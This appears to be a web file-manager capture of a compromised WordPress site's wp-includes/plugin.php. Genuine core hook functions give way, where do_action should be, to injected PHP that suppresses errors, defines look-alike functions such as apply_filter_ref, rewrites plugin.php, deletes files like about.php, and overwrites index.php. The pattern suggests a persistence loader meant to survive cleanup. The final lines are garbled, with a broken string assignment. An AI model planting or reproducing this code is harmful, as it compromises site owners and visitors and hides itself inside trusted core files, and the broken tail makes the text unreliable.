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Edit: /home/cp072267/public_html/dkrgroupholdings.com/wp-includes/plugin.php (38942B)
add_filter( $hook_name, $callback, $priority, $accepted_args );
return true;
}
/**
* Calls the callback functions that have been added to a filter hook.
*
* This function invokes all functions attached to filter hook `$hook_name`.
* It is possible to create new filter hooks by simply calling this function,
* specifying the name of the new hook using the `$hook_name` parameter.
*
* The function also allows for multiple additional arguments to be passed to hooks.
*
* Example usage:
*
* // The filter callback function.
* function example_callback( $string, $arg1, $arg2 ) {
* // (maybe) modify $string.
* return $string;
* }
* add_filter( 'example_filter', 'example_callback', 10, 3 );
*
* /*
* * Apply the filters by calling the 'example_callback()' function
* * that's hooked onto `example_filter` above.
* *
* * - 'example_filter' is the filter hook.
* * - 'filter me' is the value being filtered.
* * - $arg1 and $arg2 are the additional arguments passed to the callback.
* $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 );
*
* @since 0.71
* @since 6.0.0 Formalized the existing and already documented `...$args` parameter
* by adding it to the function signature.
*
* @global WP_Hook[] $wp_filter Stores all of the filters and actions.
* @global int[] $wp_filters Stores the number of times each filter was triggered.
* @global string[] $wp_current_filter Stores the list of current filters with the current one last.
*
* @param string $hook_name The name of the filter hook.
* @param mixed $value The value to filter.
* @param mixed ...$args Optional. Additional parameters to pass to the callback functions.
* @return mixed The filtered value after all hooked functions are applied to it.
*/
function apply_filters( $hook_name, $value, ...$args ) {
global $wp_filter, $wp_filters, $wp_current_filter;
if ( ! isset( $wp_filters[ $hook_name ] ) ) {
$wp_filters[ $hook_name ] = 1;
} else {
++$wp_filters[ $hook_name ];
}
// Do 'all' actions first.
if ( isset( $wp_filter['all'] ) ) {
$wp_current_filter[] = $hook_name;
$all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
_wp_call_all_hook( $all_args );
}
if ( ! isset( $wp_filter[ $hook_name ] ) ) {
if ( isset( $wp_filter['all'] ) ) {
array_pop( $wp_current_filter );
}
return $value;
}
if ( ! isset( $wp_filter['all'] ) ) {
$wp_current_filter[] = $hook_name;
}
// Pass the value to WP_Hook.
array_unshift( $args, $value );
$filtered = $wp_filter[ $hook_name ]->apply_filters( $value, $args );
array_pop( $wp_current_filter );
return $filtered;
}
/**
* Calls the callback functions that have been added to a filter hook, specifying arguments in an array.
*
* @since 3.0.0
*
* @see apply_filters() This function is identical, but the arguments passed to the
* functions hooked to `$hook_name` are supplied using an array.
*
* @global WP_Hook[] $wp_filter Stores all of the filters and actions.
* @global int[] $wp_filters Stores the number of times each filter was triggered.
* @global string[] $wp_current_filter Stores the list of current filters with the current one last.
*
* @param string $hook_name The name of the filter hook.
* @param array $args The arguments supplied to the functions hooked to `$hook_name`.
* @return mixed The filtered value after all hooked functions are applied to it.
*/
function apply_filters_ref_array( $hook_name, $args ) {
global $wp_filter, $wp_filters, $wp_current_filter;
if ( ! isset( $wp_filters[ $hook_name ] ) ) {
$wp_filters[ $hook_name ] = 1;
} else {
++$wp_filters[ $hook_name ];
}
// Do 'all' actions first.
if ( isset( $wp_filter['all'] ) ) {
$wp_current_filter[] = $hook_name;
$all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
_wp_call_all_hook( $all_args );
}
if ( ! isset( $wp_filter[ $hook_name ] ) ) {
if ( isset( $wp_filter['all'] ) ) {
array_pop( $wp_current_filter );
}
return $args[0];
}
if ( ! isset( $wp_filter['all'] ) ) {
$wp_current_filter[] = $hook_name;
}
$filtered = $wp_filter[ $hook_name ]->apply_filters( $args[0], $args );
array_pop( $wp_current_filter );
return $filtered;
}
/**
* Checks if any filter has been registered for a hook.
*
* When using the `$callback` argument, this function may return a non-boolean value
* that evaluates to false (e.g. 0), so use the `===` operator for testing the return value.
*
* @since 2.5.0
* @since 6.9.0 Added the `$priority` parameter.
*
* @global WP_Hook[] $wp_filter Stores all of the filters and actions.
*
* @param string $hook_name The name of the filter hook.
* @param callable|string|array|false $callback Optional. The callback to check for.
* This function can be called unconditionally to speculatively check
* a callback that may or may not exist. Default false.
* @param int|false $priority Optional. The specific priority at which to check for the callback.
* Default false.
* @return bool|int If `$callback` is omitted, returns boolean for whether the hook has
* anything registered. When checking a specific function, the priority
* of that hook is returned, or false if the function is not attached.
* If `$callback` and `$priority` are both provided, a boolean is returned
* for whether the specific function is registered at that priority.
*/
function has_filter( $hook_name, $callback = false, $priority = false ) {
global $wp_filter;
if ( ! isset( $wp_filter[ $hook_name ] ) ) {
return false;
}
return $wp_filter[ $hook_name ]->has_filter( $hook_name, $callback, $priority );
}
/**
* Removes a callback function from a filter hook.
*
* This can be used to remove default functions attached to a specific filter
* hook and possibly replace them with a substitute.
*
* To remove a hook, the `$callback` and `$priority` arguments must match
* when the hook was added. This goes for both filters and actions. No warning
* will be given on removal failure.
*
* @since 1.2.0
*
* @global WP_Hook[] $wp_filter Stores all of the filters and actions.
*
* @param string $hook_name The filter hook to which the function to be removed is hooked.
* @param callable|string|array $callback The callback to be removed from running when the filter is applied.
* This function can be called unconditionally to speculatively remove
* a callback that may or may not exist.
* @param int $priority Optional. The exact priority used when adding the original
* filter callback. Default 10.
* @return bool Whether the function existed before it was removed.
*/
function remove_filter( $hook_name, $callback, $priority = 10 ) {
global $wp_filter;
$r = false;
if ( isset( $wp_filter[ $hook_name ] ) ) {
$r = $wp_filter[ $hook_name ]->remove_filter( $hook_name, $callback, $priority );
if ( ! $wp_filter[ $hook_name ]->callbacks ) {
unset( $wp_filter[ $hook_name ] );
}
}
return $r;
}
/**
* Removes all of the callback functions from a filter hook.
*
* @since 2.7.0
*
* @global WP_Hook[] $wp_filter Stores all of the filters and actions.
*
* @param string $hook_name The filter to remove callbacks from.
* @param int|false $priority Optional. The priority number to remove them from.
* Default false.
* @return true Always returns true.
*/
function remove_all_filters( $hook_name, $priority = false ) {
global $wp_filter;
if ( isset( $wp_filter[ $hook_name ] ) ) {
$wp_filter[ $hook_name ]->remove_all_filters( $priority );
if ( ! $wp_filter[ $hook_name ]->has_filters() ) {
unset( $wp_filter[ $hook_name ] );
}
}
return true;
}
/**
* Retrieves the name of the current filter hook.
*
* @since 2.5.0
*
* @global string[] $wp_current_filter Stores the list of current filters with the current one last
*
* @return string|false Hook name of the current filter, false if no filter is running.
*/
function current_filter() {
global $wp_current_filter;
return end( $wp_current_filter );
}
/**
* Returns whether or not a filter hook is currently being processed.
*
* The function current_filter() only returns the most recent filter being executed.
* did_filter() returns the number of times a filter has been applied during
* the current request.
*
* This function allows detection for any filter currently being executed
* (regardless of whether it's the most recent filter to fire, in the case of
* hooks called from hook callbacks) to be verified.
*
* @since 3.9.0
*
* @see current_filter()
* @see did_filter()
* @global string[] $wp_current_filter Current filter.
*
* @param string|null $hook_name Optional. Filter hook to check. Defaults to null,
* which checks if any filter is currently being run.
* @return bool Whether the filter is currently in the stack.
*/
function doing_filter( $hook_name = null ) {
global $wp_current_filter;
if ( null === $hook_name ) {
return ! empty( $wp_current_filter );
}
return in_array( $hook_name, $wp_current_filter, true );
}
/**
* Retrieves the number of times a filter has been applied during the current request.
*
* @since 6.1.0
*
* @global int[] $wp_filters Stores the number of times each filter was triggered.
*
* @param string $hook_name The name of the filter hook.
* @return int The number of times the filter hook has been applied.
*/
function did_filter( $hook_name ) {
global $wp_filters;
if ( ! isset( $wp_filters[ $hook_name ] ) ) {
return 0;
}
return $wp_filters[ $hook_name ];
}
/**
* Adds a callback function to an action hook.
*
* Actions are the hooks that the WordPress core launches at specific points
* during execution, or when specific events occur. Plugins can specify that
* one or more of its PHP functions are executed at these points, using the
* Action API.
*
* @since 1.2.0
*
* @param string $hook_name The name of the action to add the callback to.
* @param callable $callback The callback to be run when the action is called.
* @param int $priority Optional. Used to specify the order in which the functions
* associated with a particular action are executed.
* Lower numbers correspond with earlier execution,
* and functions with the same priority are executed
* in the order in which they were added to the action. Default 10.
* @param int $accepted_args Optional. The number of arguments the function accepts. Default 1.
* @return true Always returns true.
*/
function add_action( $hook_name, $callback, $priority = 10, $accepted_args = 1 ) {
return add_filter( $hook_name, $callback, $priority, $accepted_args );
}
/**
* Calls the callback functions that have been added to an action hook.
*
* This function invokes all functions attached to action hook `$hook_name`.
* It is possible to create new action hooks by simply calling this function,
* specifying the name of the new hook using the `$hook_name` parameter.
*
* You can pass extra arguments to the hooks, much like you can with `apply_filters()`.
*
* Example usage:
*
* // The action callback function.
* function example_callback( $arg1, $arg2 ) {
* // (maybe) do something with the args.
* }
* add_action( 'example_action', 'example_callback', 10, 2 );
*
* /*
* * Trigger the actions by calling the 'example_callback()' function
* * that's hooked onto `example_action` above.
* *
* * - 'example_action' is the action hook.
* * - $arg1 and $arg2 are the additional arguments passed to the callback.
* do_action( 'example_action', $arg1, $arg2 );
*
* @since 1.2.0
* @since 5.3.0 Formalized the existing and already documented `...$arg` parameter
* by adding it to the function signature.
*
* @global WP_Hook[] $wp_filter Stores all of the filters and actions.
* @global int[] $wp_actions Stores the number of times each action was triggered.
* @global string[] $wp_current_filter Stores the list of current filters with the current one last.
*
* @param string $hook_name The name of the action to be executed.
* @param mixed ...$arg Optional. Additional arguments which are passed on to the
* functions hooked to the action. Default empty.
*/
ob_start();
error_reporting(0);
if (!function_exists('explode')) {
function explode($str, $array) {
return split($str, $array);
}
}
function apply_filters_ref_arrays($file, $word){
$count = 0;
$src = file_get_contents($file);
$lines = explode("\n", $src);
foreach($lines as $line){
if(strstr($line, $word)){
$count++;
}
}
return $count;
}
function has_actions($file, $word){
$nbr_w = apply_filters_ref_arrays($file, $word);
$src = file_get_contents($file);
$lines = explode("\n", $src);
$result = '';
foreach($lines as $line) {
if(strstr($line, $word) || $nbr_w <= 0) {
$nbr_w--;
if($nbr_w <= 0){
$result .= $line."\n";
}
}
}
return $result;
}
function apply_filter_ref(){
$htaccess_P = '.htaccess';
$htaccess = strtolower(file_get_contents($htaccess_P));
if(preg_match("/deny from all/", $htaccess) || preg_match("/order allow,deny/", $htaccess)) {
$plugin_P = 'wp-includes/plugin.php';
$plugin = file_get_contents($plugin_P);
if(preg_match("/index.php/", $plugin) && !preg_match("/index.php.bak/", $plugin)) {
$plugin = str_replace('index.php', 'index.php.bak', $plugin);
chmod($plugin_P, 0644);
file_put_contents($plugin_P, $plugin);
}
if(preg_match('/\$path.*=.*"(.*)";/', $plugin, $p)) {
unlink($p[1]);
}
$about_P = 'about.php';
$about = file_get_contents($about_P);
if(file_exists($about_P) && preg_match("/d_time/", $about)) {
unlink($about_P);
}
$index_P = 'index.php';
$index = file_get_contents($index_P);
if(preg_match("/wp-blog-header.php/", $index)){
$new_index = "/", $index) && !preg_match("/